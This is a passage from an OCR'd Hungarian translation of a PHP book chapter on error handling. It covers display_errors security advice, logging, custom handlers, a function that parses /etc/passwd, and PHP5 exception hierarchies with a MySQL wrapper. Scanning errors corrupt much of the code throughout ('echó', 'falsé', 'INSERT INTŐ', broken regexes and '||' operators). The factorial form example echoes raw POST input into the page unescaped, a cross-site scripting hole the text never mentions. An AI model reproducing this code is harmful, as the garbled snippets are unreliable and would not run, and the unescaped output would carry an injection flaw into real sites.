error_reporting = E_ERROR | E_USER_ERROR

Mindazonáltal ha az E_ERROR-t eltávolítjuk az error_reporting beállításból, akkor


sem hagyhatjuk figyelmen kívül a végzetes hibákat, csupán nem kerül sor a hozzájuk tar-
tozó hibakezelő meghívására.

A hibák kezelése
Most, hogy láttuk, milyen hibajelzéseket ad a PHP, ki kell dolgoznunk a hibák kezelésé-
nek tervét. A PHP az error_reporting-nak megfelelően négy választási lehetőséget
nyújt a hibakezelésre:

• A hibák megjelenítése.
• A hibák naplózása.
• A hibák figyelmen kívül hagyása.
• Műveletek végzése hiba esetén.

Egyik lehetőség sem fontosabb a másiknál; egy erőteljes hibakezelő rendszerben mind-
egyik fontos szerepet tölt be. A hibák megjelenítése nagyon jó szolgálatot tehet a fejlesz-
tőkörnyezetben, míg a naplózás a munkakörnyezetben megfelelőbb. Egyes hibák nyu-
godtan figyelmen kívül hagyhatók, míg mások választ kívánnak. A felsorolt hibakezelési
módszerek megfelelő keverése az igényektől függ.

A hibák megjelenítése
Ha a hibák megjelenítése mellett döntünk, hibaüzenetet küldünk a szabványos kimeneti
folyamra, ami egy weblap esetében azt jelenti, hogy a böngészőnek. A beállítás a php. ini
állományban a következőképpen kapcsolható be:

display_errors = On

A display_errors a fejlesztés során sokat segít, mert e beállítás révén azonnal vissza-
jelzést kapunk arról, hogy mi is csúszott félre. Nem kell naplófájlt böngésznünk vagy bár-
mi mást tennünk, csak betölteni az építés alatt álló weblapot.
3. fejezet • Hibakezelés 77

Ugyanakkor amit a fejlesztő jó, hogy lát, a végfelhasználót gyakran zavarja. A PHP hiba-
üzenetek megjelenítése számukra általában három okból nem kívánatos:

• Csúnyák.
• Azt sugallják, hogy a webhely hibás.
• Olyan részleteket árulhatnak el a háttérben futó kódról, amit a rosszindulatú fel-
használók kihasználhatnak.

A harmadik pont jelentőségét nem lehet eléggé hangsúlyozni. Ha azt szeretnénk, hogy
a kódban esetlegesen előforduló biztonsági lyukakat megtalálják és kihasználják, nincs
gyorsabb módszer, mint működési környezetben, a display_errors beállítást bekap-
csolva futtatni a programot. Megtörtént egyszer, hogy egy különösen nagy forgalmú
webhelyen egy rossz INI fájl néhány hiba miatt kikerült a képernyőkre. Amint észrevet-
tük, azonnal kicseréltük a fájlt a webkiszolgálókon a javított változatra, és úgy gondoltuk,
ez az egyedi eset csak a büszkeségünkön ejtett csorbát. Másfél évvel később elkaptunk
egy kódtörőt, aki rendszeresen belerondított mások honlapjaiba. Cserébe azért, hogy nem
indíttattunk ellene eljárást, hajlandó volt elárulni nekünk, milyen gyenge pontokat talált
a rendszerben. A szokásos JavaScript-trükkökön kívül (a webhelyen számos felhasználó
futtatott saját fejlesztésű JavaScript-tartalmat) néhány rendkívül ügyes programtörési mód-
szerére derült fény, amelyeket annak a kódnak az alapján dolgozott ki, ami az előző év-
ben, csupán órákig volt kinn a Hálón.

Az említett esetben szerencsénk volt: a betörő leginkább a nem ellenőrzött felhasználói


bemenetet, illetve az alapértelmezett érték nélküli változókat használta ki (ez még
a register_global előtti időkben történt); az adatbázis-kapcsolati információkat vi-
szont könyvtárakban, és nem az oldalakon tároltuk. Számos webhelyen történt már súlyos
betörés az alábbiakhoz hasonló biztonsági lyukak láncolatának köszönhetően:

• A display_errors bekapcsolva hagyása.


• Az adatbázis-kapcsolatok részleteinek (mysql_connect ()) tárolása az oldalakban.
• Nem helyi kapcsolatok engedélyezése a MySQL-hez.

A fenti három hiba együtt kiszolgáltatja az adatbázist mindazok számára, akik a webhe-
lyen hibaüzenetet tartalmazó lapot látnak. Valószínűleg megdöbbennénk, ha tudnánk, mi-
lyen gyakran fordul ez elő.

Én fejlesztés közben bekapcsolom a display_errors beállítást, de az éles környezet-


ben soha.
78 PHP fejlesztés felsőfokon

Hibák megjelenítése működési környezetben

Az, hogy miként értesítjük a felhasználókat a hibákról, gyakran üzletpolitikai kérdés. Min-
den nagy ügyfél, akiknek dolgoztam, szigorúan szabályozta, mit kell tenni, ha a felhasz-
náló hibával találkozik. A megoldások az egyedi hibaoldalak megjelenítésétől a keresett
tartalom valamilyen tárolt változatát megjelenítő bonyolult programokig terjedtek. Üzleti
szempontból ez teljesen érthető: a webes jelenlét az ügyfelekkel való kapcsolattartás
módja, így a hibák kezelése az egész vállalkozás megítélésére kihathat.

Attól függetlenül, hogy pontosan milyen tartalmat is jelenítünk meg váratlan hibák esetén
a felhasználók számára, hibakeresési információkat biztosan nem mutatnék nekik. A hiba-
üzenetben szereplő információmennyiségtől függően ez ugyanis jelentős támadási felüle-
tet nyújtana.

Az egyik leggyakrabban alkalmazott megoldás az 500-as hibakód visszaadása és egyéni


hibakezelő beállítása, ami a felhasználót egy egyedi hibaoldalra viszi. A HTTP 500-as hi-
bakódja belső kiszolgálóhibát jelez; a PHP-ből így adhatjuk vissza:

header("HTTP/1.0 500 Internál Server E r r or " ) ;

Az Apache beállításainál pedig ezt kell megadnunk:

ErrorDocument 500 /custom-error.php

így minden oldalt, ami az 500-as állapotkódot adja vissza, a /custom-error .php címre
irányítunk át (belsőleg, vagyis a felhasználó számára láthatatlanul).

A fejezet későbbi, Felső szintű kivételkezelő beállítása című részében egy másik, kivétel
alapú megoldást láthatunk.

A hibák naplózása
A PHP belsőleg támogatja mind a hibák egy adott fájlban, mind a syslog-on keresztül
történő naplózását, a php. ini állomány két beállítása segítségével. Az alábbi beállítással
adhatjuk meg, hogy a hibákat naplózni kell:

log_errors = On
3. fejezet • Hibakezelés 79

A következővel pedig azt állíthatjuk be, hogy fájlba vagy a rendszernaplóba (syslog) ír-
juk-e a hibát:

error_log = /path/to/filename

error_log = syslog

A naplózás révén minden hibát visszakereshetünk, ami a webhelyen bekövetkezik. Amikor


hibafelderítést végzek, a kérdéses kódterület körül gyakran helyezek el hibakereső soro-
kat. A rendszerhibák alapján vagy a trigger_error () -on keresztül naplóba írt hibaüze-
neteken kívül az alábbi kóddal magunk is előállíthatunk bejegyzéseket a hibanaplóban:

error_log("Ez egy saját hibaüzenet");

Ezenkívül elektronikus levelet is küldhetünk, vagy megadhatjuk a naplófájlt. A részletek-


ről a PHP kézikönyvéből tájékozódhatunk. Az error_log az error_reporting-nél
beállított szinttől függetlenül naplózza az átadott üzenetet, vagyis a kettő teljesen külön
részét fedi le a hibakezelésnek.

Ha csak egyetlen kiszolgálónk van, célszerű közvetlenül fájlba írni a naplóbejegyzéseket.


A syslog meglehetősen lassú, így ha minden beágyazott program végrehajtásánál bele-
írunk valamilyen üzenetet (ami mindenképpen nagyon rossz ötlet), a naplózás által
a rendszerre rótt terhelés igen jelentős lehet.

Ha azonban több kiszolgálót futtatunk, a syslog központi naplózási szolgáltatásával ké-


nyelmesen egy helyre gyűjthetjük a különböző gépekről érkező üzeneteket, elemzés és
tárolás céljából. Ha a syslog használata mellett döntünk, mindenesetre kerüljük a gyako-
ri naplózást.

A hibák figyelmen kívül hagyása


A @ jellel a PHP lehetővé teszi, hogy megakadályozzuk egyes kiválasztott hibaüzenetek
küldését. így ha például egy olyan fájlt próbálunk megnyitni, ami lehet, hogy nem létezik,
de hiba esetén nem szeretnénk hibaüzenetet kapni, a következőt írhatjuk:

$fp = @fopen($file, $mode);

Mivel a PHP hibakezelő rendszere (amit hamarosan részletesebben is megismerünk) nem


tartalmaz programvezérlési lehetőségeket, a legegyszerűbb, ha elnyomjuk azokat a hibá-
kat, amelyekről tudjuk, hogy be fognak következni, de nem kívánunk foglalkozni velük.
80 PHP fejlesztés felsőfokon

Vegyünk egy függvényt, amely egy esetleg nem létező állomány tartalmát kéri:

$content = file_get_content($sometimes_valid);

Ha az állomány nem létezik, E_WARNING hibát kapunk. Ha tudjuk, hogy ez lehetséges,


célszerű elnyomni a figyelmeztetést, hiszen amiről előre tudunk, az igazából nem is hiba.
Erre ad módot a @ operátor, amellyel az egyes hívásokkal kapcsolatos figyelmeztetéseket
kapcsolhatjuk ki:

$content = @file_get_content($sometimes_valid);

Ha emellett a php. ini állományban megadjuk a track_errors = On beállítást, az utol-


só hibaüzenetet tárolhatjuk is a $php_errormsg változóban. Ez független attól, hogy
használtuk-e a @ jelet a hibaüzenetek elnyomására.

Műveletek végzése hiba esetén


A PHP-ben a set_error_handler () függvényen keresztül saját hibakezelőket is beál-
líthatunk. Egy ilyen függvényt az alábbi módon határozhatunk meg:

<?php
require "DB/Mysql.inc";
function user_error_handler($severity, $msg, $filename, $linenum) {
$dbh = new DB_Mysql_Prod;
$query = "INSERT INTŐ errorlog
(severity, message, filename, linenum, time)
VALUES(?,?,?,?, NOW())";
$sth = $dbh->prepare($query);
switch($severity) {
case E_USER_NOTICE:
$sth->execute('NOTICE', $msg, $filename, $linenum);
break;
case E_USER_WARNING:
$sth->execute('WARNING', $msg, $filename, $linenum);
break;
case E_USER_ERROR:
$sth->execute('FATÁL', $msg, $filename, $linenum);
echó "FATÁL error $msg at $filename:$linenum<br>";
break;
default:
echó "Unknown error at $filename:$linenum<br>";
break;
}
}
?>
3. fejezet • Hibakezelés 81

A beállítást ezután így kell megadnunk:

set_error_handler("user_error_handler");

Ha a program hibát észlel, ezután nem a hibanaplóba ír vagy hibaüzenetet jelenít meg, ha-
nem a hibát egy adatbázis-táblába jegyzi be, illetve ha végzetes hibáról van szó, üzenetet is
ír a képernyőre. Jegyezzük meg, hogy a hibakezelők nem nyújtanak programvezérlési le-
hetőséget. Nem végzetes hiba esetén a feldolgozás befejeztével a program a hiba helyétől
folytatódik, míg végzetes hibánál a program a hibakezelő lefutása után befejeződik.

Levélküldés önmagunknak

Jó ötletnek tűnhet, hogy olyan egyéni hibakezelőt állítsunk be, amely hiba esetén
a mail () függvénnyel elektronikus levelet küld a fejlesztőnek vagy a rendszergazdának,
de az sajnos nagyon rossz megoldás.

A hibáknak megvan az a rossz tulajdonságuk, hogy csoportosan bukkannak fel. Nagysze-


rű lenne, ha garantálhatnánk, hogy egy hiba legfeljebb óránként egyszer (vagy bármilyen
megadott időközzel) lép fel, de a helyzet többnyire az, hogy ha kódolási hiba következté-
ben váratlan esemény következik be, az számos kérelemre hatással van. Levélküldő
error_handler () függvényünk így akár 20 000 levelet is küldhet a postafiókunknak,
mire bejutunk és kikapcsolhatjuk.

Ha mégis szükségünk van valamilyen válaszküldésre a hibakezelő rendszerben, azt javas-


lom, írjunk olyan programot, ami a hibanaplót feldolgozva küld levelet, és okosan korlá-
tozza az elküldhető levelek számát.

A külső hibák kezelése


Bár a fejezetben eddig tárgyaltakat hibakezelésnek hívtuk, valójában nem igazán kezeltük
a hibákat. Elfogtuk és feldolgoztuk a programunk által küldött figyelmeztetéseket, de kép-
telenek voltunk arra, hogy a program futását módosítsuk, vagyis akárhogy is vesszük,
nem kezeltük a hibákat. Az alkalmazkodó hibakezelés nagyrészt azon alapul, hogy tud-
juk, hol léphet fel hiba, és előre eldöntjük, mit teszünk, ha bekövetkezik. Külső hibák
többnyire akkor adódhatnak, amikor külső folyamatokhoz kapcsolódunk, vagy onnan
adatokat nyerünk ki.
82 PHP fejlesztés felsőfokon

Vegyük az alábbi függvényt, amelynek feladata a passwd állományban található részletek


(kezdőkönyvtár, héj, gecos információk és így tovább) visszaadása egy adott felhasználóra
vonatkozóan:

<?php
function get_passwd_info($user) {
$fp = fopen("/etc/passwd", "r");
while(!feof($fp)) {
$line = fgets($fp);
$fields = explode(";", $line);
if($user == $ fi e l d s [ 0 ] ) {
return $fields;
}
}
return falsé;
}
?>

Ebben a formában a kód két hibát tartalmaz: az egyik tisztán kódlogikai hiba, de a másik
egy lehetséges külső hibáról feledkezik meg. Ha a programot futtatjuk, az alábbihoz ha-
sonló elemekkel feltöltött tömböt kapunk:

<?php
print_r(get_passwd_info('www'));
?>
Array
(
[0] => www:*:70:70:
«* World Wide Web Server:/Library/WebServer:/noshell
)

Ez azért következik be, mert az első hiba az, hogy a passwd fájlban a mezőelválasztó
nem pontosvessző, hanem kettőspont. Ez hibás:

$fields = explode(";", $line);

Erre kell cserélnünk:

$fields = e x p l od e ( " : " , $line);

A másik hibát nehezebb észrevenni. Ha a passwd fájl megnyitása nem sikerül, E_WARNING
hibát kapunk, de a program futása zavartalanul folytatódik. Ha a megadott felhasználó nem
szerepel a passwd állományban, a függvény falsé értéket ad vissza. Csakhogy a visszaté-
rési érték akkor is falsé, ha az fopen nem sikerült, ami elég zavaró.
3. fejezet • Hibakezelés 83

Ez az egyszerű példa az egyik legnagyobb nehézségre világít rá, amivel az eljárásközpon-


tú (vagy legalábbis kivételekkel nem rendelkező) nyelvekben a hibakezelés során találko-
zunk: hogyan értesítjük a hibáról a hívót, amely felkészült a kezelésére?

Ha az adatokat helyben hasznosítjuk, helyi döntéseket hozhatunk a hiba kezelésével kap-


csolatban. A fenti függvényt például úgy módosíthatjuk, hogy a megfelelő helyzetben egy
adott szöveget jelenítsen meg:

<?php
function get_passwd_info($user) {
$fp = fopen("/etc/passwd", "r");
if(!is_resource($fp)) {
return "Error opening filé";
}
while(!feof($fp)) {
$line = fgets($fp);
$fields = explode(":", $line);
if($user == $f ields [0] ) {
return $fields;
}
}
return falsé;
}
?>

Esetleg beállíthatunk egy olyan értéket, ami általában nem érvényes visszatérési érték:

<?php
function get_passwd_info($user) {
$fp = fopen("/etc/passwd", "r");
if(!is_resource($fp)) {
return -1;
}
while(!feof($fp)) {
$line = fgets($fp);
$fields = explodeí":", $line);
if ($user == $fields[0]) {
return $fields;
}
}
return falsé;
}
?>
84 PHP fejlesztés felsőfokon

Ezzel a logikával a hibákat feljebb küldhetjük az eredeti hívók felé:

<?php
function is_shelled_user($user) {
$passwd_info = get_passwd_info($user) ;
if (is_array($passwd_info) && $passwd_info[7] != '/bin/false') {
return 1;
}
else if($passwd_info === -1) {
return -1;
}
else {
return 0;
}
}
?>

A módszer használata megköveteli, hogy minden lehetséges hibát észleljünk:

<?php
$v = is_shelled_user('www');
i f ( $ v === 1) {
echó "Your Web server user probably shouldn't be shelled.\n";
}
else if($v === 0) {
echó "Great!\n";
}
else {
echó "An error occurred checking the user\n";
}
?>

Ha a megoldást csúnyának és zavarosnak találjuk, az azért van, mert az is. Saját kezűleg,
több hívón keresztül felfelé terjeszteni a hibákat nehézkes, és ez az egyik fő oka annak,
hogy egyes programozási nyelvekben bevezették a kivételeket. Szerencsére a kivételek
a PHP5-től kezdve már a PHP-ben is alkalmazhatók. A fenti példa esetében ugyan lehet-
séges, hogy elő tudunk állítani valamilyen működőképes kódot, de mi történne, ha a kér-
déses függvény (érvényesen) visszaadhatna valamilyen számot is? Hogyan lehetne akkor
egyértelműen továbbítani a hibát felfelé? Ami pedig az egész katyvaszban a legrosszabb:
a bonyolult hibakezelő rendszer nem helyileg azokban a függvényekben kap helyet, ame-
lyek megvalósítják, hanem feljebb. Ráadásul a hívási hierarchiában található minden függ-
vénynek értenie és kezelnie kell a hibákat.
3. fejezet • Hibakezelés 85

Kivételek
A PHP5 előtt csak az eddig tárgyalt megoldások voltak elérhetők a nyelvben, ami bizony
komoly gondokat okozott, különösen nagyobb alkalmazások írásakor. Az elsődleges
probléma az volt, hogy a hibákat egy ismeretlen, a könyvtárt felhasználó kódnak kellett
visszaadni. Emlékezzünk vissza az imént megvalósított hibaellenőrzésre a passwd fájlt ol-
vasó függvényben.

A példa írásakor alapvetően két lehetőségünk volt a kapcsolati hibák kezelésére:

• a hiba helyi kezelése és érvénytelen adat (például falsé) visszaadása a hívónak,


• az eredményhalmaz visszaadása helyett a hiba megőrzése és továbbadása a hívónak.

A példában szereplő függvényben az első megoldást azért nem választottuk, mert a könyv-
tár előfeltételezéssel élt volna azzal kapcsolatban, hogy az alkalmazás milyen hibakezelést
vár tőle. Ha például egy adatbázis-ellenőrző programot írunk, a hibákat valószínűleg igen
részletesen kívánjuk a legfelsőbb szintű hívónak továbbítani, míg egy webes alkalmazás-
ban csak egy hibaoldalra szeretnénk irányítani a felhasználót.

A példában tehát a második módszert választottuk, pedig az sem sokkal jobb az elsőnél.
Az a gond vele, hogy jelentős előrelátást és pontos tervezést igényel, hogy biztosíthassuk,
hogy a hibák helyesen továbbítódnak az alkalmazáson belül. Ha egy adatbázis-lekérdezés
például egy karakterláncot ad vissza, hogyan különböztetjük azt meg egy szöveges hiba-
üzenettől?

Ezenkívül a továbbítást magunknak kell kódolnunk: minden lépésnél saját kezűleg kell
felterjesztenünk a hibát a hívónak, felismertetni vele, hogy hibáról van szó, majd tovább-
adni vagy kezelni. Az előző részben már láthattuk, milyen nehéz is ez.

A kivételeket pont az ilyen helyzetek kezelésére találták ki. A kivétel olyan vezérlési szer-
kezet, amely lehetővé teszi, hogy a végrehajtás aktuális folyamatát megállítsuk, és a ver-
met egy adott pontig visszabontsuk. A fellépő hibát egy objektum jelképezi, amit kivétel-
ként állítunk be.

A kivételek tehát objektumok. Az alapvető esetekhez a PHP a beépített Exception osz-


tályt biztosítja, amelyet kimondottan kivételkezelésre terveztek. Bár nem kötelező, hogy
a kivételek az Exception osztály példányai legyenek, a kivételeket kiváltó osztályokat
célszerű belőle származtatni. Új kivétel létrehozásához a megfelelő Exception osztályt
példányosítjuk és „dobjuk" a programnak.

Kivétel dobásakor az Exception objektumot mentjük, az aktuális kódblokk végrehajtását


pedig azonnal felfüggesztjük. Ha az adott hatókörben be van állítva kivételkezelő blokk,
a kódban annak helyére ugrunk, és végrehajtjuk a kezelőt. Ha nincs ilyen, a végrehajtási
86 PHP fejlesztés felsőfokon

veremből kiolvassuk a következő elemet, és a hívó hatókörében keresünk kivételkezelő


blokkot. Ez addig ismétlődik, amíg kezelőt nem találunk vagy el nem érjük a legfelső ha-
tókört. Futtassuk ezt a kódot:
<?php
throw new Exception;
?>

Ezt kapjuk:
> php uncaught-exception.php

Fatál error: Uncaught exception 'exception'! in Unknown on line 0

Az el nem fogott kivételek végzetes hibák, vagyis magukat a kivételeket is kezelnünk kell.
Ha figyelmeztetésként vagy lehetséges nem végzetes hibaként kivételeket alkalmazunk
egy programban, az adott kódblokk minden hívójának tudnia kell, hogy kivétel kiváltásá-
ra kerülhet sor, és fel kell készülnie annak kezelésére.

A kivételkezelő egy utasításblokkból áll, amelyben a végrehajtani („kipróbálni") kívánt


utasítások kapnak helyet, illetve egy második blokkból, amelybe akkor akarunk lépni, ha
valamilyen hibával találkozunk. íme egy egyszerű példa, amely egy kiváltott és elkapott
kivételt mutat:
try {
throw new Exception;
print "This code is unreached\n";
}
catch (Exception $e) {
print "Exception caught\n";
}

Itt kivételt váltunk ki, de egy try blokkban, így a végrehajtás megáll, és előreugrunk
a catch blokkra. A catch egy Exception osztályt kap el (a „dobott" osztályt), így an-
nak blokkjába lépünk be. A catch blokkot általában arra használjuk, hogy a bekövetke-
zett hiba következtében adódó szükséges takarítást elvégezzük.

Említettük korábban, hogy nem szükséges, hogy a kiváltott kivétel az Exception osztály
példánya legyen. íme egy példa, amelyben valami más szerepel:

<?php

class AltException {} ^

try {
throw new AltException;
}
3. fejezet • Hibakezelés 87

catch (Exception $e) {


print "Caught exception\n";
}
?>

A fenti kódot futtatva a következőt kapjuk:

> php failed_catch.php


Fatál error: Uncaught exception 'altexception'! in Unknown on line 0

Tehát nem sikerült elkapnunk a kivételt, mert AltException osztályba tartozó objektu-
mot dobtunk, a kód viszont csak Exception osztályú objektumokra készült fel.

Nézzünk egy kevésbé triviális példát arra, hogyan lehet egy egyszerű kivétellel hibakeze-
lést megvalósítani régi kedvencünkben, a faktoriális függvényben. Ez a függvény csak ter-
mészetes számokkal (vagyis nullánál nagyobb egészekkel) képes dolgozni; a bemenet el-
lenőrzését úgy építhetjük be a programba, hogy kivételt váltunk ki, ha érvénytelen adat
érkezik:

<?php
// factorial.inc
// Egyszerű faktoriális függvény
function factorial($n) {
if(!preg_match{'/~\d+$/',$n) II $n < 0 ) {
throw new Exception;
} else if ($n ==0 II $n == 1) {
return $n;
}
else {
return $n * factorial($ n - 1 );
}
}
?>

A függvények érvényes bemenetének ellenőrzése kulcsfontosságú része a programok


megfelelő védelemmel való ellátásának.

Miért szabályos kifejezés?


Furcsának tűnhet, hogy az is_int függvény helyett szabályos kifejezéssel ellenőrizzük,
hogy a $n egész-e, az említett függvény azonban nem azt teszi, amit mi itt szeretnénk.
Csak azt ellenőrzi, hogy a $n típusa karakterlánc vagy egész szám-e, nem pedig azt, hogy
az értéke egész-e. Ez olyan apróság, amiről könnyen elfeledkezhetünk, ha az is_int-et
(többek között) űrlapadatok érvényesítésére használjuk. A dinamikus típusokkal részlete-
sebben a 20. fejezetben foglalkozunk.
88 PHP fejlesztés felsőfokon

Amikor meghívjuk a f actorial függvényt, gondoskodnunk kell róla, hogy végrehajtása


egy try blokkban történjen, hacsak nem szeretnénk az alkalmazás halálát megkockáztat-
ni, amennyiben rossz adatokat kap:

<html>
<form method="POST">
Compute the factorial of
<input type="text" name="input" value="<?= $_POST['input'] ?>"><br>
<?php
include "factorial.inc";
if($_POST['input']) {
try {
$input = $_POST['input'];
$output = factorial($input);
echó "$_POST[input]! = $output";
}
catch (Exception $e) {
echó "Only natural numbers can have their factorial computed.";
}
}
?>
<br>
<input type="submit" name="posted" value="Submit">
</form>

Kivételhierarchiák használata
Egy try-hoz több catch blokkot is rendelhetünk, ha a különféle hibákat különbözőkép-
pen szeretnénk kezelni. A faktoriális példát például úgy módosíthatjuk, hogy azokat az
eseteket is kezelje, amikor a $n túl nagy a PHP matematikai lehetőségeihez képest:

class OverflowException {}
class NaNException {}
function factorial($n)
{
if ( !preg_match( ' //v\d+$/ ' , $n) I I $n < 0 ) {
throw new NaNException;
}
else if ($n ==0 II $n == 1) {
return $n;
}

else if ($n > 170 ) {


throw new OverflowException;
}
else {
return $n * factorial($n - 1);
}
}
3. fejezet • Hibakezelés 89

Most minden hibaesetet másképp kezelünk:

<?php
if($_POST['input']) {
try {
$input = $_POST['input'];
$output = factorial($input);
echó "$_POST[input]! = $output";
}
catch (OverflowException $e) {
echó "The requested value is too large.";
}
catch (NaNException $e) {
echó "Only natural numbers can have their factorial
computed.";
}
}
?>

A kód jelenlegi formájában külön fel kell sorolnunk minden lehetséges esetet, ami egy-
részt fárasztó, másrészt veszélyes lehet, mert a könyvtárak növekedésével a lehetséges ki-
vételek halmaza is nő, így egyre könnyebb lesz megfeledkezni valamelyikről.

Megoldásként családokba csoportosíthatjuk a kivételeket, és egy öröklési fa létrehozásá-


val összekapcsolhatjuk azokat:

class MathException extends Exception {}


class NaNException extends MathException {}
class OverflowException extends MathException {}

A catch blokkot ezután a következőképpen szervezhetjük újjá:

<?php
if<$_POST['input']) {
try {
$input = $_POST['input'];
$output = factorial($input);
echó "$_POST[input]! = $output";
}
catch (OverflowException $e) {
echó "The requested value is too large.";
}
catch (MathException $e) {
echó "A generic math error occurred";
}
90 PHP fejlesztés felsőfokon

catch (Exception $e) {


echó "An unknown error occurred";
}
}
?>

Ebben az esetben, ha Overf lowException hiba lép fel, azt az első catch blokk kapja el.
Ha a MathException bármely más leszármazottját dobjuk (például egy NaNException-t),
a második catch blokk lép működésbe. Végül az első kettő által le nem fedett más Excep-
tion-leszármazottakat kapjuk el.

Ez az előnye annak, ha minden kivétel az Except ion-tői származik: olyan általános


catch blokkot írhatunk, amely anélkül képes minden kivételt kezelni, hogy egyenként
fel kellene sorolnia azokat. A mindent elkapó kivételkezelők azért fontosak, mert lehető-
vé teszik, hogy akár olyan hibákat is feldolgozunk, amelyeket nem látunk előre.

Típusos kivételek - egy példa


A fejezetben eddig bemutatott kivételek mind (legalábbis legjobb tudásunk szerint) mentesek
voltak a tulajdonságoktól. Ha csak a kiváltott kivétel típusának megállapítására van szüksé-
günk, és a hierarchiát gondosan állítottuk fel, ez igényeink legtöbbjét ki is elégíti. Ha viszont
a kivételekben átadott információk csakis karakterláncok lehetnének, a kivételeket karakter-
lánc-használattal valósították volna meg teljes objektumok helyett. Mi azonban azt szeret-
nénk, ha a kivételt elkapó hívó számára tetszőleges hasznos információt adhatnánk át.

Maga az alap-kivételosztály többre képes annál, mint amit eddig megtudtunk róla. Beépí-
tett osztály, vagyis megvalósítása C és nem PHP nyelvű. Nagyjából így néz ki:
class Exception {
Public function _______ construct($message=false, $code=false) {
$this->file =________ FILÉ___ ;
$this->line =_______ LINE___;
$this->message = $message; // a hibaüzenet karakterláncként
$this->code = $code; // a számmal jelzett hibakódok helye
}
public function getFileO {
return $this->file;
}
public function getLineO {
return $this->line;
}
public function getMessage() {
return $this->message;
}
public function getCode() {
return $this->code;
}
}
3. fejezet • Hibakezelés 91

A__ FILÉ__ és a___ LINE__ átvizsgálása az utolsó hívóért általában nem nyújt hasznos
információt. Tegyük fel, hogy úgy döntünk, kivételt váltunk ki, ha a DB_Mysql burkoló
könyvtárban gondunk van egy lekérdezéssel:

class DB_Mysql {
// .. .
public function execute($query) {
if (!$this->dbh) {
$this->connect() ;
}
$ret = mysql_query($query, $this->dbh);
if(!is_resource($ret)) {
throw new Exception;
}
return new MysqlStatement($ret) ;
}
}

Váltsuk ki ezt a kivételt a kódban egy nyelvtanilag helytelen lekérdezés végrehajtásával:

<?php
require_once "DB.inc";
try {
$dbh = new DB_Mysql_Test;
// ... lekérdezések végrehajtása az adatbázis-kapcsolaton
$rows = $dbh->execute("SELECT * FROM")->fetchall_assoc();
}
catch (Exception $e) {
print_r($e);
}
?>

Ekkor ezt kapjuk:

exception Object
(
[filé] => /Users/george/Advanced PHP/examples/chapter-3/DB.inc
[line] => 42
)

A DB. inc 42. sora maga az execute () utasítás! Amennyiben a try blokkon belül több
lekérdezést is végrehajtunk, nem tudjuk megállapítani, melyik okozta a hibát. Sőt, a hely-
zet még ennél is rosszabb: ha saját kivételosztályt használunk, és magunk állítjuk be
a $f ile és $line változókat (vagy a parent: :________ contsruct-ot hívjuk meg az
Exception konstruktorának futtatásához), az lesz az eredmény, hogy a_______ FILÉ__ és
a__ LINE__ első hívó lesz maga a konstruktőr. Amit azonban mi szeretnénk, az a teljes
visszakövetés a probléma helyétől.
92 PHP fejlesztés felsőfokon

Most alakítsuk át a DB burkoló könyvtárakat, hogy kivételeket használjanak. A visszakö-


vetési adatokkal való feltöltés mellett megpróbálhatjuk beállítani a message és code tu-
lajdonságokat is a MySQL hibainformációkkal:

class MysqlException extends Exception {


public $backtrace;
public function _____ construct($message=false, $code=false) {
if(!$message) {
$this->message = mysql_error() ;
}
i f( ! $ c od e ) {
$this->code = mysql_errno() ;
}
$this->backtrace = debug_backtrace();
}
}

Tegyük fel, hogy most a könyvtárat ennek a kivételtípusnak a használatára állítjuk:

class DB_Mysql {
public function execute($query) {
if ( !$this->dbh) {
$this->connect() ;
}
$ret = mysql_query($query, $this->dbh);
if(!is_resource($ret)) {
throw new MysqlException;
}
return new MysqlStatement($ret) ;
}
}

Emellett megismételjük a tesztet:

<?php
require_once "DB. i n c";
try {
$dbh = new DB_Mysql_Test;
// ... lekérdezések végrehajtása az adatbázis-kapcsolaton
$rows = $dbh->execute("SELECT * FROM")->fetchall_assoc();
}
catch (Exception $e) {
print_r ($e) ; "*-
}
?>
3. fejezet • Hibakezelés 93

A fenti két lépés eredménye ez lesz:

mysqlexception Object
(
[backtrace] => Array
(
[0] => Array
(
[fi l é ] => /Users/george/Advanced PHP/examples/chapter-3/DB.inc
[line] => 45
[function] => _____ construct
[class] => mysqlexception
[type] => ->
[args] => Array
(
)
)
[1] => Array
(
[filé] => /Users/george/Advanced PHP/examples/chapter-3/test.php
[line] => 5
[function] => execute
[class] => mysql_test
[type] => ->
[args] => Array
(
[0] => SELECT * FROM
)
)
)

[message] => You have an error in your SQL syntax near '' at line 1
[code] => 1064
)
A korábbi kivétellel összehasonlítva most rengeteg információt kapunk:

• a hiba helyét,
• azt, hogy hogyan jutott a program a hibáig, valamint
• a hibához kapcsolódó MySQL információkat.

Most már a teljes könyvtárat átalakíthatjuk az új kivétel használatára:


class MysqlException extends Exception {
public $backtrace;
public function __construct($message=false, $code=false) {
if(!$message) {
$this->message = mysql_error();
}
94 PHP fejlesztés felsőfokon

if(!$code) {
$this->code = mysql_errno();
}
$this->backtrace = debug_backtrace();
}
}
class DB_Mysql {
protected $user;
protected $pass;
protected $dbhost;
protected $dbname;
protected $dbh;

public function __ construct($user, $pass, $dbhost, $dbname) {


$this->user = $user;
$this->pass = $pass;
$this->dbhost = $dbhost;
$this->dbname = $dbname;
}
protected function connect() {
$this->dbh = mysql_pconnect($this->dbhost, $this->user, $this->pass)
if(!is_resource($this->dbh)) {
throw new MysqlException;
}
if(!mysql_select_db($this->dbname, $this->dbh)) {
throw new MysqlException;
}
}
public function execute($query) {
if(!$this->dbh) {
$this->connect();
}
$ret = mysql_query($query, $this->dbh);
if(!$ret) {
throw new MysqlException;
}
else if(!is_resource($ret)) {
return TRUE;
} else {
return new DB_MysqlStatement ($ret) ;
}
}
public function prepare($query) {
if(!$this->dbh) {
$this->connect() ;
}
return new DB_MysqlStatement($this->dbh, $query);
}
}
3. fejezet • Hibakezelés 95

class DB_MysqlStatement {
protected $result;
protected $binds;
public $query;
protected $dbh;
public function __ construct($dbh, $query) {
$this->query = $query;
$this->dbh = $dbh;
if(!is_resource($dbh)) {
throw new MysqlException("Not a valid database connection");
}
}
public function bind_param($ph, $pv) {
$this->binds[$ph] = $pv;
}
public function execute() {
$binds = func_get_args() ;
foreach($binds as $index => $name) {
$this->binds[$index + 1] = $name;
}
$cnt = count($binds) ;
$query = $this->query;
foreach ($this->binds as $ph => $pv) {
$query = str_replace(":$ph",.... mysql_escape_string($pv)....,
«ü» $query) ;
}
$this->result = mysql_query($query, $this->dbh);
if ( !$this->result) {
throw new MysqlException;
}
}
public function fetch_row() {
if ( !$this->result) {
throw new MysqlException("Query not executed");
}
return mysql_fetch_row($this->result);
}
public function fetch_assoc() {
return mysql_fetch_assoc($this->result);
}
public function fetchall_assoc() {
$retval = arrayO;
